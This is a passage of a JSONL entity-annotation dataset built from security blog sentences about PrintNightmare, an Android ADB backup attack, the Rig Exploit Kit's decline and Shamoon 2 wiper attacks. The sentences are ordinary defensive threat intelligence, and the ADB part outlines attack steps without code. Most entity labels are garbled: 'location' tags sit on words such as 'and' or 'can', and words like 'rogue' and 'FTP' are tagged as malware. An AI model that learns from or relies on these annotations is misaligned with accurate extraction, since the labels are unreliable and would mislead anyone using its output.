network.","entities":[{"id":24223,"label":"location","start_offset":6,"end_offset":11},{"id":24224,"label":"location","start_offset":26,"end_offset":34},{"id":24225,"label":"location","start_offset":55,"end_offset":60},{"id":24226,"label":"location","start_offset":105,"end_offset":115},{"id":24227,"label":"location","start_offset":119,"end_offset":123},{"id":24228,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":24229,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} -{"id":7818,"text":"It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.","entities":[{"id":24235,"label":"location","start_offset":67,"end_offset":70},{"id":24236,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7819,"text":"The indicators of compromise (IoCs) related to these campaigns we observed are in this appendix.","entities":[{"id":24237,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]} -{"id":7820,"text":" Tags Malware | APT & Targeted Attacks | Research | Network | Cyber Threats","entities":[{"id":24238,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]} -{"id":7821,"text":"This post is also available in: 日本語 (Japanese) On July 1, 2021, Microsoft released a security advisory for a new remote code execution (RCE) vulnerability in Windows, CVE-2021-34527, referred to publicly as \"PrintNightmare.”","entities":[{"id":24239,"label":"location","start_offset":5,"end_offset":9},{"id":24243,"label":"location","start_offset":91,"end_offset":99},{"id":24244,"label":"location","start_offset":119,"end_offset":125}],"relations":[],"Comments":[]} -{"id":7822,"text":"Security researchers initially believed this vulnerability to be tied to CVE-2021-1675 (Windows Print Spooler Remote Code Execution Vulnerability), which was first disclosed in the Microsoft Patch Tuesday release on June 8, 2021.","entities":[{"id":24245,"label":"location","start_offset":0,"end_offset":8},{"id":24246,"label":"location","start_offset":110,"end_offset":116}],"relations":[],"Comments":[]} {"id":7823,"text":"Microsoft has since updated the FAQ section of the advisory that shows CVE-2021-34527 is similar but distinct from CVE-2021-1675, which addresses a different but related vulnerability in RpcAddPrinterDriverEx().","entities":[{"id":24249,"label":"identity","start_offset":0,"end_offset":9},{"id":24250,"label":"location","start_offset":36,"end_offset":43}],"relations":[],"Comments":[]} -{"id":7824,"text":" All Windows versions are affected by this vulnerability.","entities":[{"id":24251,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]} -{"id":7825,"text":"Domain controllers, clients and member servers running the Print Spooler service on any Windows version are affected by this vulnerability.","entities":[{"id":24252,"label":"location","start_offset":28,"end_offset":31},{"id":24253,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]} -{"id":7826,"text":"Microsoft has released an out-of-band update with the fixes for versions other than Windows 10 version 1607, Windows Server 2016 or Windows Server 2012.","entities":[{"id":24255,"label":"location","start_offset":103,"end_offset":107}],"relations":[],"Comments":[]} -{"id":7827,"text":"For these, the security update is expected to be released soon.","entities":[{"id":24258,"label":"location","start_offset":15,"end_offset":23}],"relations":[],"Comments":[]} -{"id":7828,"text":" Microsoft released an out-of-band security update to address this vulnerability on July 6, 2021.","entities":[{"id":24260,"label":"location","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]} -{"id":7829,"text":"Please see the Security Updates table for the applicable update for your system.","entities":[{"id":24262,"label":"location","start_offset":15,"end_offset":23}],"relations":[],"Comments":[]} -{"id":7830,"text":"Administrators are strongly advised to install these updates.","entities":[{"id":24263,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]} -{"id":7831,"text":"If you are unable to install these updates, see the FAQ and Workarounds sections in the CVE for information on how to help protect your system from this vulnerability.","entities":[{"id":24264,"label":"location","start_offset":7,"end_offset":10},{"id":24265,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} -{"id":7832,"text":"See also KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates.","entities":[{"id":24267,"label":"location","start_offset":52,"end_offset":59},{"id":24268,"label":"location","start_offset":60,"end_offset":67}],"relations":[],"Comments":[]} -{"id":7833,"text":"Note that the security updates released on and after July 6, 2021, contain protections for CVE-2021-1675 and the additional RCE exploit in the Windows Print Spooler service known as “PrintNightmare,” documented in CVE-2021-34527.","entities":[{"id":24270,"label":"location","start_offset":14,"end_offset":22},{"id":24271,"label":"location","start_offset":43,"end_offset":46},{"id":24273,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} -{"id":7834,"text":" Palo Alto Networks provides protection against the exploitation of this vulnerability: Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":24275,"label":"location","start_offset":29,"end_offset":39},{"id":24277,"label":"location","start_offset":108,"end_offset":112},{"id":24279,"label":"location","start_offset":159,"end_offset":162},{"id":24280,"label":"location","start_offset":268,"end_offset":271},{"id":24281,"label":"location","start_offset":297,"end_offset":302},{"id":24282,"label":"location","start_offset":331,"end_offset":335},{"id":24283,"label":"location","start_offset":410,"end_offset":413}],"relations":[],"Comments":[]} {"id":7835,"text":"Today, Palo Alto Networks researcher Claud Xiao is delivering a presentation titled “Insecure Internal Storage in Android” at the Hacks in Taiwan Conference (HITCON). Claud is discussing techniques for accessing private data in Android’s internal storage system using the Android Debug Bridge (ADB) backup\/restore functionality.","entities":[],"relations":[],"Comments":[]} -{"id":7836,"text":"While over 85% of active Android devices are vulnerable to this attack, Android includes multiple levels of protection to prevent unauthorized data access.","entities":[{"id":24291,"label":"location","start_offset":41,"end_offset":44},{"id":24292,"label":"location","start_offset":98,"end_offset":104},{"id":24293,"label":"location","start_offset":108,"end_offset":118}],"relations":[],"Comments":[]} -{"id":7837,"text":"In today’s presentation, Claud will have demonstrated how an attacker could bypass all of those protections to gain access to usernames, passwords and a treasure trove of other data.","entities":[{"id":24296,"label":"location","start_offset":31,"end_offset":35},{"id":24297,"label":"location","start_offset":147,"end_offset":150},{"id":24298,"label":"location","start_offset":153,"end_offset":161}],"relations":[],"Comments":[]} -{"id":7838,"text":" To understand this attack, it’s critical to understand how applications use Android internal storage and why unauthorized access to this data is so problematic. ","entities":[{"id":24299,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} -{"id":7839,"text":"The Android operating system provides a mechanism for applications to store information that is isolated to their specific application; this area is called “internal storage.” If an application needs to store something secret, like a website username and password, internal storage is the place to do it.","entities":[{"id":24300,"label":"location","start_offset":252,"end_offset":255}],"relations":[],"Comments":[]} -{"id":7840,"text":"As the Android sandbox prevents other applications from accessing this data, many developers have chosen to store secret information here without any additional encryption in place.","entities":[{"id":24301,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]} -{"id":7841,"text":" This first became a cause for concern in 2010 when users reported that the default e-mail application stored credentials in plain text.","entities":[{"id":24303,"label":"location","start_offset":125,"end_offset":130}],"relations":[],"Comments":[]} -{"id":7842,"text":"At that time, the Android development team explained that the security of the internal storage system prevented unauthorized access, and that there were many good reasons not to encrypt stored e-mail passwords.","entities":[{"id":24304,"label":"location","start_offset":8,"end_offset":12},{"id":24305,"label":"location","start_offset":62,"end_offset":70},{"id":24306,"label":"location","start_offset":133,"end_offset":136},{"id":24307,"label":"location","start_offset":153,"end_offset":157},{"id":24308,"label":"location","start_offset":158,"end_offset":162}],"relations":[],"Comments":[]} -{"id":7843,"text":"The primary reason is usability, as any strong encryption of the password would require the user to type the decryption password each time they needed to access the e-mail password, defeating the purpose of storing a password in the first place.","entities":[{"id":24309,"label":"location","start_offset":40,"end_offset":46},{"id":24310,"label":"location","start_offset":100,"end_offset":104},{"id":24311,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]} {"id":7844,"text":" While there is still debate about how to store passwords in internal storage, if Android internal storage isn’t accessible to anything but the application that owns it, it remains secure.","entities":[],"relations":[],"Comments":[]} -{"id":7845,"text":"Unfortunately, that isn’t always the case.","entities":[{"id":24314,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]} -{"id":7846,"text":" The ADB provides users a mechanism for attaching their phone to a PC or other device and issuing commands.","entities":[{"id":24315,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} -{"id":7847,"text":"This includes backup and restore functionality, which allows the user to copy data from the phone to the PC and vice versa, including data contained in internal storage.","entities":[{"id":24316,"label":"location","start_offset":21,"end_offset":24},{"id":24317,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} -{"id":7848,"text":"This means that all of those passwords and any other data Android developers assume are secure (unencrypted) are accessible if an attacker can access the backup system.","entities":[{"id":24318,"label":"location","start_offset":5,"end_offset":10},{"id":24319,"label":"location","start_offset":39,"end_offset":42},{"id":24321,"label":"location","start_offset":84,"end_offset":87},{"id":24322,"label":"location","start_offset":109,"end_offset":112},{"id":24323,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]} -{"id":7849,"text":" ADB backup is not simple to access, as there are multiple physical and technical barriers standing in the way of the attacker.","entities":[{"id":24324,"label":"location","start_offset":46,"end_offset":49},{"id":24325,"label":"location","start_offset":68,"end_offset":71},{"id":24326,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]} -{"id":7850,"text":" This is admittedly a lot of hurdles, but all of them can be bypassed under the right conditions, leaving the data in internal storage exposed.","entities":[{"id":24327,"label":"location","start_offset":22,"end_offset":25},{"id":24328,"label":"location","start_offset":49,"end_offset":53},{"id":24329,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} -{"id":7851,"text":"Here’s how it might happen: 1. The first challenge is getting access to the device over USB.","entities":[{"id":24332,"label":"location","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]} -{"id":7852,"text":"The simplest way of doing this is by physically controlling the phone, either by borrowing or stealing it, but that isn’t the only way.","entities":[{"id":24333,"label":"location","start_offset":13,"end_offset":16},{"id":24334,"label":"location","start_offset":126,"end_offset":130},{"id":24335,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]} {"id":7853,"text":"If an attacker has control over a PC, which the Android device is attached to (for charging or for other purposes), they don’t need to get physical access to the phone.","entities":[],"relations":[],"Comments":[]} -{"id":7854,"text":"This could be accomplished through malware that infects the PC and waits for Android devices to be connected.","entities":[{"id":24337,"label":"location","start_offset":63,"end_offset":66},{"id":24338,"label":"location","start_offset":67,"end_offset":72}],"relations":[],"Comments":[]} {"id":7855,"text":"Or through a rogue “charging station” which users plug their device into without thought. 2.","entities":[{"id":24339,"label":"malware","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]} {"id":7856,"text":"Next, the device must support ADB backup, which was not introduced until Android 4.0 (Ice Cream Sandwich).","entities":[],"relations":[],"Comments":[]} {"id":7857,"text":"As of July 7, this includes 85.8% of active Android devices.","entities":[],"relations":[],"Comments":[]} {"id":7858,"text":"For these devices, ADB debugging must be enabled for backup to work.","entities":[],"relations":[],"Comments":[]} -{"id":7859,"text":"This is generally disabled by default, but many enthusiasts enable it and PC-based tools often guide users to leave it enabled.","entities":[{"id":24345,"label":"location","start_offset":43,"end_offset":47},{"id":24346,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]} {"id":7860,"text":"Some device vendors have even left it enabled by default when shipping their phones.","entities":[],"relations":[],"Comments":[]} -{"id":7861,"text":"Additionally, for a small price an individual could purchase custom hardware that will enable the USB debugging.","entities":[{"id":24347,"label":"location","start_offset":20,"end_offset":25},{"id":24348,"label":"location","start_offset":26,"end_offset":31},{"id":24349,"label":"location","start_offset":52,"end_offset":60},{"id":24350,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} -{"id":7862,"text":" 4. Screen lock prevents ADB backup, but many users do not use screen lock at all.","entities":[{"id":24352,"label":"location","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]} -{"id":7863,"text":"If they do, there are a few vulnerabilities in Android versions < 4.4.4, which would allow an attacker to get around this.","entities":[{"id":24353,"label":"location","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]} {"id":7864,"text":"If the device is running Android 4.2.2 or above (approximately 54.3% of active devices) it uses ADB authentication.","entities":[],"relations":[],"Comments":[]} -{"id":7865,"text":"This means when a PC attempts to enable ADB debugging, the phone presents a dialog to the user to authenticate the PC.","entities":[{"id":24355,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]} -{"id":7866,"text":"If the user has done this in the past and checked the “Always allow from this computer” for the system the attacker controls, they can bypass this protection.","entities":[{"id":24356,"label":"location","start_offset":38,"end_offset":41},{"id":24357,"label":"location","start_offset":131,"end_offset":134},{"id":24358,"label":"location","start_offset":147,"end_offset":157}],"relations":[],"Comments":[]} -{"id":7867,"text":"If this isn’t the case, they may be able to bypass this protection using a vulnerability in Android versions 4.4.2 and below.","entities":[{"id":24359,"label":"location","start_offset":18,"end_offset":22},{"id":24360,"label":"location","start_offset":29,"end_offset":32},{"id":24361,"label":"location","start_offset":56,"end_offset":66},{"id":24362,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]} {"id":7868,"text":"Finally, when an ADB backup is initiated, a window pops up on the device screen to ask the user to press “Back up my data.”","entities":[],"relations":[],"Comments":[]} -{"id":7869,"text":"If the attacker has physical access to the device, they can click this button, but if they don’t the “adb shell sendkey” function can simulate the necessary “click” to bypass this protection.","entities":[{"id":24363,"label":"location","start_offset":56,"end_offset":59},{"id":24364,"label":"location","start_offset":106,"end_offset":111},{"id":24365,"label":"location","start_offset":130,"end_offset":133},{"id":24366,"label":"location","start_offset":180,"end_offset":190}],"relations":[],"Comments":[]} -{"id":7870,"text":" Many of these protections have been deployed only in recent versions of Android, indicating that Google understands the risks presented by ADB.","entities":[{"id":24367,"label":"location","start_offset":1,"end_offset":5},{"id":24368,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]} -{"id":7871,"text":"Unfortunately, none of these protections is fool proof.","entities":[{"id":24370,"label":"location","start_offset":15,"end_offset":19}],"relations":[],"Comments":[]} -{"id":7872,"text":"Successfully bypassing them means getting access to a lot of applications and their sensitive information.","entities":[{"id":24371,"label":"location","start_offset":23,"end_offset":27},{"id":24372,"label":"location","start_offset":28,"end_offset":33},{"id":24373,"label":"location","start_offset":54,"end_offset":57},{"id":24374,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":7873,"text":" The actual impact of the ADB backup attack depends on when data is actually stored in the device’s internal storage and whether or not it’s protected.","entities":[{"id":24375,"label":"location","start_offset":12,"end_offset":18},{"id":24376,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} -{"id":7874,"text":"One way to protect this data is to disable the backup system for a specific application.","entities":[{"id":24378,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]} -{"id":7875,"text":"This is the easiest way for developers to prevent this attack against their data, but we’ve found very few make this choice.","entities":[{"id":24379,"label":"location","start_offset":20,"end_offset":23},{"id":24380,"label":"location","start_offset":117,"end_offset":123}],"relations":[],"Comments":[]} {"id":7876,"text":"Of the 12,351 applications on the Google Play store with > 500,000 installations, only 556 explicitly disable this backup system.","entities":[],"relations":[],"Comments":[]} {"id":7877,"text":"Another 156 implement a BackupAgent that restricts which data is subject to the backup.","entities":[],"relations":[],"Comments":[]} {"id":7878,"text":"The other 94.2% of applications place no restrictions on the backup of their internal storage data.","entities":[],"relations":[],"Comments":[]} {"id":7879,"text":" This includes (as discussed earlier) the default Android Mail and Browser applications, but also other e-mail, SSH and FTP applications, many of which store login and password details without any additional encryption.","entities":[{"id":24386,"label":"location","start_offset":63,"end_offset":66},{"id":24387,"label":"location","start_offset":116,"end_offset":119},{"id":24388,"label":"malware","start_offset":120,"end_offset":123},{"id":24389,"label":"location","start_offset":138,"end_offset":142},{"id":24390,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} -{"id":7880,"text":" It’s clear from the data above that most application developers either are not aware of, or aren’t concerned by, the potential leakage of the data they store in internal storage.","entities":[{"id":24391,"label":"location","start_offset":6,"end_offset":11},{"id":24392,"label":"location","start_offset":37,"end_offset":41},{"id":24393,"label":"location","start_offset":72,"end_offset":75},{"id":24394,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]} {"id":7881,"text":"Google could reverse this situation by making setting the android:allowBackup property to false by default, requiring developers to opt-in to the backup system, rather than opt-out.","entities":[],"relations":[],"Comments":[]} -{"id":7882,"text":"Developers can also make this choice by changing property in their AndroidManifest.xml files.","entities":[{"id":24396,"label":"location","start_offset":11,"end_offset":14},{"id":24397,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]} -{"id":7883,"text":"Alternatively, developers can implement a BackupAgent that restricts the backup system from copying sensitive data in an unsafe way.","entities":[{"id":24398,"label":"location","start_offset":26,"end_offset":29},{"id":24399,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]} -{"id":7884,"text":" Users interested in defending their phones from this attack should take the following actions, while understanding that none is 100% effective: ","entities":[{"id":24400,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]} -{"id":7885,"text":"The slides and demo code from Claud’s talk at HITCON are available now.","entities":[{"id":24402,"label":"location","start_offset":11,"end_offset":14},{"id":24405,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} -{"id":7886,"text":"These include more detail than we could fit into this blog and show specifically how Claud bypassed the ADB protections on-stage today. Palo Alto Networks first reported the issues described here to the Google security team in March of 2013 and provided them with the content of todays presentation in July 2014.","entities":[{"id":24406,"label":"location","start_offset":59,"end_offset":62},{"id":24411,"label":"location","start_offset":211,"end_offset":219},{"id":24413,"label":"location","start_offset":242,"end_offset":245},{"id":24414,"label":"location","start_offset":255,"end_offset":259},{"id":24415,"label":"location","start_offset":269,"end_offset":276}],"relations":[],"Comments":[]} -{"id":7887,"text":"While we understand their position on Android internal storage and applaud their patching of vulnerabilities that allow access to the system, we hope that developers will take action to protect their users’ data from the risk of the ADB backup attack.","entities":[{"id":24418,"label":"location","start_offset":63,"end_offset":66},{"id":24419,"label":"location","start_offset":145,"end_offset":149},{"id":24420,"label":"location","start_offset":166,"end_offset":170},{"id":24421,"label":"location","start_offset":176,"end_offset":182}],"relations":[],"Comments":[]} -{"id":7888,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot!","entities":[{"id":24422,"label":"location","start_offset":63,"end_offset":66},{"id":24423,"label":"location","start_offset":92,"end_offset":97},{"id":24424,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]} -{"id":7889,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":24425,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":7890,"text":"What a difference a year makes in the threat environment.","entities":[],"relations":[],"Comments":[]} -{"id":7891,"text":"In January 2017, Rig Exploit Kit (EK) was still in the middle of a strong run.","entities":[{"id":24429,"label":"location","start_offset":55,"end_offset":61},{"id":24430,"label":"location","start_offset":67,"end_offset":73}],"relations":[],"Comments":[]} {"id":7892,"text":"But when April 2017 came, Rig started a very marked decline.","entities":[],"relations":[],"Comments":[]} -{"id":7893,"text":"You can see this in the chart below: Figure 1: Hits for Rig EK from January 2017 through January 2018 We first noted the trend in our June 2017 research blog “Decline in Rig Exploit Kit”.","entities":[{"id":24433,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]} -{"id":7894,"text":"And now in our most recent research blog “Rig EK one year later: From Ransomware to Coin Miners and Information Stealers” we can see the decline in April wasn’t an anomaly: it was the start of a precipitous decline that may mark the fall of Rig EK and exploit kits altogether as you can see.","entities":[{"id":24440,"label":"location","start_offset":0,"end_offset":3},{"id":24441,"label":"location","start_offset":15,"end_offset":19},{"id":24443,"label":"location","start_offset":125,"end_offset":128},{"id":24445,"label":"location","start_offset":184,"end_offset":189},{"id":24446,"label":"location","start_offset":220,"end_offset":223},{"id":24447,"label":"location","start_offset":224,"end_offset":228},{"id":24448,"label":"location","start_offset":241,"end_offset":244},{"id":24449,"label":"location","start_offset":248,"end_offset":251},{"id":24450,"label":"location","start_offset":283,"end_offset":286}],"relations":[],"Comments":[]} -{"id":7895,"text":"As with the rise and fall of other threat trends, there are many likely reasons for this.","entities":[{"id":24451,"label":"location","start_offset":17,"end_offset":20},{"id":24452,"label":"location","start_offset":56,"end_offset":59},{"id":24453,"label":"location","start_offset":60,"end_offset":64},{"id":24454,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]} -{"id":7896,"text":"As Unit 42 researcher Brad Duncan noted in June 2017 and January 2018, likely reasons for the decline of Rig EK include a declining browser target base, lack of new exploits, efforts to fight domain shadowing, criminal arrests, and on-going work by vendors to harden browsers.","entities":[{"id":24458,"label":"location","start_offset":53,"end_offset":56},{"id":24460,"label":"location","start_offset":71,"end_offset":77},{"id":24461,"label":"location","start_offset":105,"end_offset":108},{"id":24462,"label":"location","start_offset":140,"end_offset":146},{"id":24463,"label":"location","start_offset":153,"end_offset":157},{"id":24464,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]} -{"id":7897,"text":"But the decline and (hopeful) fall of Rig and other exploit kits isn’t the only story here.","entities":[{"id":24465,"label":"location","start_offset":16,"end_offset":19},{"id":24467,"label":"location","start_offset":42,"end_offset":45},{"id":24468,"label":"location","start_offset":75,"end_offset":79},{"id":24469,"label":"location","start_offset":80,"end_offset":85}],"relations":[],"Comments":[]} -{"id":7898,"text":"The sudden rise of coinmining in response to the surging value of cryptocurrencies comes into this story as well.","entities":[{"id":24470,"label":"location","start_offset":99,"end_offset":104}],"relations":[],"Comments":[]} -{"id":7899,"text":"This is because while Rig is down (and declining) it’s not totally out yet.","entities":[{"id":24471,"label":"location","start_offset":22,"end_offset":25},{"id":24472,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]} -{"id":7900,"text":"And we’re seeing what remains of Rig EK shift nearly wholesale from ransomware to information stealers and coinminers.","entities":[{"id":24473,"label":"location","start_offset":0,"end_offset":3},{"id":24474,"label":"location","start_offset":33,"end_offset":36},{"id":24475,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} -{"id":7901,"text":"The shift to information stealers isn’t new: in many ways this is “back to the future” for Rig and EKs generally: they were in use before the surge in ransomware starting in 2013 and distributed information stealers and banking trojans in those early days.","entities":[{"id":24476,"label":"location","start_offset":48,"end_offset":52},{"id":24477,"label":"location","start_offset":91,"end_offset":94},{"id":24478,"label":"location","start_offset":95,"end_offset":98},{"id":24481,"label":"location","start_offset":179,"end_offset":182},{"id":24482,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]} -{"id":7902,"text":"But the adoption of coinmining is a new thing for Rig and EKs.","entities":[{"id":24485,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} -{"id":7903,"text":"Given the trends we’ve seen generally with the sudden surge in coinmining tactics and techniques it’s not surprising.","entities":[{"id":24487,"label":"location","start_offset":0,"end_offset":5},{"id":24488,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} {"id":7904,"text":"As shown below, the volume of coinmining increase nearly 2,800% in a year.","entities":[],"relations":[],"Comments":[]} -{"id":7905,"text":" Figure 2: Coin miner samples in January 2017 versus January 2018.","entities":[{"id":24492,"label":"location","start_offset":11,"end_offset":15},{"id":24493,"label":"location","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]} -{"id":7906,"text":" The criminals behind Rig and other EKs have always been focused on maximizing the financial return on their investment in using their wares.","entities":[{"id":24496,"label":"location","start_offset":22,"end_offset":25},{"id":24497,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]} -{"id":7907,"text":"And so, we can look at this shift away from ransomware back to information stealers and ahead to coinmining as a possible sign that the era of ransomware is passing at last.","entities":[{"id":24498,"label":"location","start_offset":0,"end_offset":3},{"id":24499,"label":"location","start_offset":11,"end_offset":14},{"id":24500,"label":"location","start_offset":84,"end_offset":87},{"id":24501,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]} {"id":7908,"text":"We can’t say why this shift is happening.","entities":[],"relations":[],"Comments":[]} {"id":7909,"text":"It could be there is a shift from ransomware due to a declining return on investment because people no longer willing to pay ransom in the wake of WannaCry\/ WanaCrypt0r, and Petya\/NotPetya.","entities":[{"id":24502,"label":"location","start_offset":125,"end_offset":131},{"id":24503,"label":"location","start_offset":139,"end_offset":143},{"id":24504,"label":"malware","start_offset":157,"end_offset":168},{"id":24505,"label":"location","start_offset":170,"end_offset":173},{"id":24506,"label":"malware","start_offset":174,"end_offset":179},{"id":24507,"label":"malware","start_offset":180,"end_offset":188}],"relations":[],"Comments":[]} -{"id":7910,"text":"Or there could be a network effect at work and attackers are focusing on coinmining and away from ransomware because others are doing the same.","entities":[{"id":24508,"label":"location","start_offset":43,"end_offset":46},{"id":24509,"label":"location","start_offset":57,"end_offset":60},{"id":24510,"label":"location","start_offset":84,"end_offset":87},{"id":24511,"label":"location","start_offset":124,"end_offset":127},{"id":24512,"label":"location","start_offset":138,"end_offset":142}],"relations":[],"Comments":[]} -{"id":7911,"text":"Whatever the reasons, though, the latest trends in a declining Rig EK give us a possible indicator of the overall future threat landscape.","entities":[{"id":24514,"label":"location","start_offset":70,"end_offset":74},{"id":24515,"label":"location","start_offset":106,"end_offset":113}],"relations":[],"Comments":[]} -{"id":7912,"text":"That ransomware is finally on its way out, and that coinmining is taking its mantle as the primary focus for cybercriminals, and thus the threat we should all give primary focus for our prevention efforts.","entities":[{"id":24516,"label":"location","start_offset":34,"end_offset":37},{"id":24517,"label":"location","start_offset":43,"end_offset":46},{"id":24518,"label":"location","start_offset":125,"end_offset":128},{"id":24519,"label":"location","start_offset":159,"end_offset":163}],"relations":[],"Comments":[]} -{"id":7913,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":24520,"label":"location","start_offset":63,"end_offset":66},{"id":24521,"label":"location","start_offset":92,"end_offset":97}],"relations":[],"Comments":[]} -{"id":7914,"text":" Please mark, I'm not a robot!","entities":[{"id":24522,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":7915,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":24523,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":7916,"text":"This post is also available in: 日本語 (Japanese) As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.","entities":[{"id":24524,"label":"location","start_offset":5,"end_offset":9},{"id":24527,"label":"tools","start_offset":119,"end_offset":126},{"id":24530,"label":"malware","start_offset":220,"end_offset":227}],"relations":[],"Comments":[]} {"id":7917,"text":"Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.","entities":[{"id":24532,"label":"tools","start_offset":86,"end_offset":93}],"relations":[],"Comments":[]} {"id":7918,"text":"This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.","entities":[],"relations":[],"Comments":[]} -{"id":7919,"text":" Aside from that difference, this latest wave of Shamoon 2 attacks appears to be the same as wave 1, which wiped systems on November 17, 2016, and wave 2, which wiped systems on November 29, 2016.","entities":[{"id":24537,"label":"location","start_offset":85,"end_offset":89},{"id":24540,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]} -{"id":7920,"text":"The wave 3 samples our Unit 42 researchers have analyzed are similar to the other two waves in terms of the attack vectors, payloads and actions taken: there is no new intelligence to share on those.","entities":[{"id":24545,"label":"location","start_offset":57,"end_offset":60},{"id":24547,"label":"location","start_offset":86,"end_offset":91},{"id":24548,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]} -{"id":7921,"text":" This latest threat intelligence suggests that Shamoon 2 attacks are an ongoing situation and that additional waves of attack are possible in the future.","entities":[{"id":24550,"label":"location","start_offset":65,"end_offset":68},{"id":24551,"label":"location","start_offset":90,"end_offset":93},{"id":24552,"label":"location","start_offset":110,"end_offset":115},{"id":24553,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]} -{"id":7922,"text":" Organizations that are concerned about this situation and believe it poses risks to them should perform a risk assessment that considers the following possible actions in response:","entities":[{"id":24554,"label":"location","start_offset":20,"end_offset":23},{"id":24555,"label":"location","start_offset":55,"end_offset":58},{"id":24556,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]} -{"id":7923,"text":" In addition, organizations should review their backup strategies and disaster recovery\/business continuity plans. Our Unit 42 research team continues to follow the situation closely and we will provide updates as appropriate.","entities":[{"id":24557,"label":"location","start_offset":66,"end_offset":69},{"id":24559,"label":"location","start_offset":184,"end_offset":187},{"id":24560,"label":"location","start_offset":191,"end_offset":195}],"relations":[],"Comments":[]} -{"id":7924,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":24561,"label":"location","start_offset":62,"end_offset":65},{"id":24562,"label":"location","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]} -{"id":7925,"text":" Please mark, I'm not a robot!","entities":[{"id":24563,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":7926,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":24564,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} -{"id":7927,"text":"This post is also available in: 日本語 (Japanese) We discovered a widespread vulnerability in Google’s Android OS we are calling “Android Installer Hijacking,” estimated to impact 49.5 percent of all current Android 